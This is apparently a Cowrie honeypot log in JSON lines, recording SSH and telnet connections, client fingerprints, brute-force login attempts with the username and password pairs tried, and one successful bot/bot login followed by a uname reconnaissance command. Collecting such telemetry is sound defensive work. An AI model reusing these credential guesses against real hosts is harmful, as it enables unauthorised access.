{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":39600,"dst_ip":"159.203.135.109","dst_port":22,"session":"04cf81b798ad","protocol":"ssh","message":"New connection: 160.187.180.146:39600 (159.203.135.109:22) [session: 04cf81b798ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:47.171690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:47.176322Z","src_ip":"160.187.180.146","session":"04cf81b798ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:47.382726Z","src_ip":"160.187.180.146","session":"04cf81b798ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fox","password":"fox","message":"login attempt [fox/fox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:48.148000Z","src_ip":"91.92.40.36","session":"fe36b7afec85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gaurav","password":"gaurav123","message":"login attempt [gaurav/gaurav123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:48.239070Z","src_ip":"160.187.180.146","session":"04cf81b798ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:49.110344Z","src_ip":"91.92.40.36","session":"d1d67c9ba5e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:49.451174Z","src_ip":"160.187.180.146","session":"04cf81b798ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:50.047315Z","src_ip":"91.92.40.36","session":"fe36b7afec85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12794,"dst_ip":"10.17.0.5","dst_port":22,"session":"7792c3f31dac","protocol":"ssh","message":"New connection: 91.92.40.36:12794 (10.17.0.5:22) [session: 7792c3f31dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:53.366616Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":24042,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f5b39684cbe","protocol":"ssh","message":"New connection: 150.136.214.177:24042 (10.17.0.5:22) [session: 7f5b39684cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:53.454990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:53.458935Z","src_ip":"150.136.214.177","session":"7f5b39684cbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:53.485096Z","src_ip":"150.136.214.177","session":"7f5b39684cbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcd123456789","message":"login attempt [admin/abcd123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:53.632194Z","src_ip":"150.136.214.177","session":"7f5b39684cbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:54.661237Z","src_ip":"150.136.214.177","session":"7f5b39684cbe","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:56.111973Z","src_ip":"91.92.40.36","session":"7792c3f31dac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:56.115461Z","src_ip":"91.92.40.36","session":"7792c3f31dac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23428,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ff5860ee987","protocol":"ssh","message":"New connection: 91.92.40.36:23428 (10.17.0.5:22) [session: 7ff5860ee987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:00.347659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:00.813426Z","src_ip":"91.92.40.36","session":"7ff5860ee987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:00.818235Z","src_ip":"91.92.40.36","session":"7ff5860ee987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"CatCult2025!","message":"login attempt [root/CatCult2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:02.021323Z","src_ip":"91.92.40.36","session":"7792c3f31dac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@#","message":"login attempt [root/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:03.701821Z","src_ip":"91.92.40.36","session":"7ff5860ee987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:04.567790Z","src_ip":"91.92.40.36","session":"7792c3f31dac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:05.082295Z","src_ip":"91.92.40.36","session":"7ff5860ee987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":56992,"dst_ip":"10.17.0.5","dst_port":22,"session":"b320ffdb5773","protocol":"ssh","message":"New connection: 101.36.122.139:56992 (10.17.0.5:22) [session: b320ffdb5773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:06.429881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:06.433982Z","src_ip":"101.36.122.139","session":"b320ffdb5773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:06.657656Z","src_ip":"101.36.122.139","session":"b320ffdb5773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"1234","message":"login attempt [sonar/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:07.577024Z","src_ip":"101.36.122.139","session":"b320ffdb5773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15052,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf8646266ade","protocol":"ssh","message":"New connection: 91.92.40.36:15052 (10.17.0.5:22) [session: cf8646266ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:08.536850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:08.731126Z","src_ip":"91.92.40.36","session":"cf8646266ade","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:08.734889Z","src_ip":"91.92.40.36","session":"cf8646266ade","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:08.806721Z","src_ip":"101.36.122.139","session":"b320ffdb5773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"client","password":"password","message":"login attempt [client/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:10.525208Z","src_ip":"91.92.40.36","session":"cf8646266ade","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:11.642737Z","src_ip":"91.92.40.36","session":"cf8646266ade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64704,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba90ca1c976a","protocol":"ssh","message":"New connection: 91.92.40.36:64704 (10.17.0.5:22) [session: ba90ca1c976a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:16.610793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:16.671030Z","src_ip":"91.92.40.36","session":"ba90ca1c976a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:16.794800Z","src_ip":"91.92.40.36","session":"ba90ca1c976a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:17.890711Z","src_ip":"91.92.40.36","session":"ba90ca1c976a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:19.069880Z","src_ip":"91.92.40.36","session":"ba90ca1c976a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:19.072958Z","src_ip":"91.92.40.36","session":"ba90ca1c976a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:19.489235Z","src_ip":"91.92.40.36","session":"ba90ca1c976a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:19.493779Z","src_ip":"91.92.40.36","session":"ba90ca1c976a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64744,"dst_ip":"10.17.0.5","dst_port":22,"session":"89d6e008a4a7","protocol":"ssh","message":"New connection: 91.92.40.36:64744 (10.17.0.5:22) [session: 89d6e008a4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:23.261291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:23.722955Z","src_ip":"91.92.40.36","session":"89d6e008a4a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:23.728067Z","src_ip":"91.92.40.36","session":"89d6e008a4a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joe","password":"joe","message":"login attempt [joe/joe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:26.455219Z","src_ip":"91.92.40.36","session":"89d6e008a4a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47448,"dst_ip":"159.203.135.109","dst_port":23,"session":"ade4b1f44e0a","protocol":"telnet","message":"New connection: 128.199.8.54:47448 (159.203.135.109:23) [session: ade4b1f44e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:16:26.965366Z"}
